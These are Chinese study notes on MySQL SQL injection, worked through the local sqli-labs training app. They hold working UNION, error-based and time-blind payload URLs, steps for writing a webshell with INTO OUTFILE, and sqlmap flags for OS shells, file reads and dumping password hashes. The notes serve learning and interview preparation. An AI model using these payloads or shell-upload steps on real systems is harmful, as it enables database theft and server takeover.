information_schema 数据库默认就有
COLUMNS 记录了整个库中所有的列名
SCHEMATA 记录了所有数据库的库名
TABLES记录了所有表的表名
select column_name from columns where table_schema='ctf' and table_name='users';
MYSQL函数(常用)
select user(); 查看用户
select database();查看当前数据库;
select version();查看版本;
select @@datadir;查看路径;
知道网站的物理路径,并且权限足够大 可以在服务器上上传webshell into outfile函数
其他函数(辅助注入)
select substr('root',1);
截取函数 select mid('root',1);
select if( A , B , C );
判断语句如果A的条件为真那么执行B,如果A的条件为假那么执行C。
select if( 1=1 , sleep(3) , 0 );
执行该语句那么就会sleep三秒
select ascii('a');
`select concat('a','b','c','d','e');` 连接函数
连表查询
`select * from dr_admin as dr_a join dr_admin_login as dr_a_l on dr.a.uid = dr_a_l.uid;`
缓存绕过:
第三方工具建表
order by 排序 desc 倒序排序 asc 正序排序
select * from goods order by 3 desc;
关于第三列的排序
这个语句可以知道该表有多少列,然后自己再创建一个表用union连接 字段保持一致
SQLLAB
sqllads第一关需要逃出单双引号限制
提前闭合单引号,但是单双引号要成对出现,所以要注释掉一个单引号。
mysql注释方法:
单行注释 -- --+ #(三种)
字符型注入 从goods-----> user 用union order by 列 gid=-1让第一个数组失效 --+/-- 实现注释 用information_Schema 实现库列表的查询 用concat group_concat 出管理员数据
[Less-1 **Error Based- String**](http://127.0.0.1/sqllabs/Less-1/?gid=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+)
[Less-1 **Error Based- String**](http://127.0.0.1/sqllabs/Less-1/?gid=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema='security'and table_name='users'--+)
手工注入
报错注入
1.updatexml 32个字节
updatexml (1,2,3) 报错包在第二个字段 而且前端要显示报错信息
就是说该函数的第二个字段应该是一个路径,如果不是一个路径那么就会报错,并且在页面上显示报错信息。
2.extractvalue
updatexml (1,2) 报错包在第二个字段 而且前端要显示报错信息
3.ST_LatFromGeoHash()
4.ST_LongFromGeoHash() 可能对这两个函数盯的不太死
5.floor横跨所有版本
使用工具sqlmap
level2会检测cookie,level1只会检测get传参\
面试中会用到的参数
-- batch :启用非交互模式,自动使用默认选项(无需用户确认),适合自动化测试。
--os-cmd=OSCMD:执行指定的操作系统命令 (上传shell)
--os-shell:获取一个交互式操作系统 shell
--file-read=FILE.. :读取数据库服务器上的文件
--file-write=FIL.. :将本地文件写入到数据库服务器
--sql-query=SQLQ.. :执行自定义 SQL 查询并返回结果。
--sql-shell :启动交互式 SQL Shell,可手动输入 SQL 语句
--dbs :列出所有可访问的数据库名称。
--tables :列出指定数据库的所有表
--columns :列出指定表的所有列
--dump :导出指定表的数据
--dump-all :导出所有数据库和表的数据
--is-dbs :检查当前数据库用户是否为管理员
--users :列出数据库用户列表。
--passwords :尝试获取用户密码哈希
--technique=TECH.. :指定注入技术(如
B
布尔盲注、E
报错注入、U
联合查询、S
堆叠注入等--level=LEVEL :设置测试复杂度(1-5,越高则检测更多参数和复杂 payload)。
--risk=RISK :设置风险等级(1-3,越高可能破坏数据,如使用
UPDATE
或DELETE
)。--dbms= :指定目标数据库类型(如
mysql
、mssql
、oracle
),避免无关测试
如果前端不回显 union就用不了了
但是如果能展示报错信息 那就可以不用联合查询用报错注入
LEVEL7
[Less-7 Dump into Outfile](http://127.0.0.1/sqllabs/Less-7/?id=1')) union select "",2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqllabs\\Less-7\\web.php"--+)
mysql怎么上传shell
1.要root 不是的话写不了
2.知道网站的物理路径
3.secure_priv_为空 这一项几乎不可能(在数据库的配置文件添加该字段)
布尔盲注
来判断是否为真 使用sqlmap
时间盲注
页面没有任何回显,不知道是否正确,就可以使用
[Less-9 Blind- Time based- Single Quotes- String](http://127.0.0.1/sqllabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>100, sleep(3),0)--+)
如果判断正确那么就会停3秒
and 会隐式转换 为什么只能用1而不能用admin 是因为admin在进行隐式转换的时候 and会把他先转化为double 但是不能转换所以报错,而用1之后and就会执行后面的,后面报错就行。
floor:向下取整
group by:分组
count(*):统计结果的记录数